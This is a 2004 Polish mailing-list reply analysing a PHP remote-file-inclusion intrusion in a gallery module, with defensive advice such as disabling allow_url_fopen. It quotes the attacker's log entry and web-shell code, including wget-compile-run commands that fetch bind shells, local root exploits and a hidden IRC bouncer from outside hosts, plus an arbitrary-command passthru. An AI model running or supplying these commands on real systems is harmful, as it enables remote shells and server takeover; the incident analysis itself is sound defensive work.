Witam, Dnia śro, lut 18, 2004 at 10:56:15 CET, Krzysztof Jóźwiak napisał: > > raczej php.. poszukaj w logach chlapacza (access_logi) czy nie miales > > getow na zewnetrzne urle > > > znowu lamerskie pytanie: > ten get ponizej to musze wykonać z jakiejs lewej strony czy bezpośrednio > mechanizm zostal wykorzystany? Wystarczy ze serwer www przeczyta i wykona (za posrednictwem lewego kodu php) strone w ktorej bedzie np: system("cd tmp;wget http://www.rootshell.com/bindshell.c;gcc bindshell.c;./a.out"); i juz masz shella odpalonego. jest kilka metod zabezpieczenia: - nie pisac dziurawych skryptow - zablokowanie fopena na zewnatrz w php (allow_url_fopen = Off) - przeczytac i zastosowac sie do http://www.php.net/manual/pl/security.php - php przez suexeca aby latal na prawach uzyszkodnikow wtedy minimalizujesz mozliwosc dziur. > /xxx-access_log:219.95.38.19 - - [07/Feb/2004:15:26:39 +0100] > "GET /modules/My_eGallery/public/url HTTP/1.1" 404 236 > "http://www.xxx/modules/My_eGallery/public/displayCategory.php?adminpath=http://www.geocities.com/pillow4sleeping/a.txt?&cmd=bindtty" > "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" w tym wypadku bylo pobrane http://www.geocities.com/pillow4sleeping/a.txt?cmd=bindtty a wynik tego to ciekawe rzeczy: else if ($cmd == "bindtty") { if (isset($chdir)) @chdir($chdir); ob_start(); passthru("cd /tmp;wget http://geocities.com/s3xmelayu/bindtty.c;gcc -o webphp bindtty.c;chmod +777 webphp;rm -rf bindtty.c;./webphp"); $output = ob_get_contents(); ob_end_clean(); } ale tez rowniez mozna pobrac: cd /tmp;wget http://geocities.com/s3xmelayu/local/slack;chmod +777 slack;./slack;rm -f slack;id cd /tmp;wget http://geocities.com/s3xmelayu/local/yoklocal;chmod +777 yoklocal;./yoklocal;rm -f yoklocal;id cd /tmp;mkdir ....;cd ....;wget http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz;tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz;rm -rf psyBNC2.2.1-linux-i86-static.tar.gz;cd psybnc;make;rm -rf psybnc.conf;mv psybnc az;wget http://geocities.com/s3xmelayu/adamx;./az adamx oraz najlepsze else { if (isset($chdir)) @chdir($chdir); ob_start(); passthru("$cmd"); $output = ob_get_contents(); ob_end_clean(); } czyli wykonywanie wlasnych komend. Pozdrawiam, Tomasz T. Ciaszczyk -- .: ciacho<at>ciacho.pl ][ Bóg jest w szczegółach :. .: http://ciacho.pl ][ -- Jonathan Carroll :. .: ciacho<at>jabber.org][ :.
Attachment:
pgpZABBLIWqaX.pgp
Description: PGP signature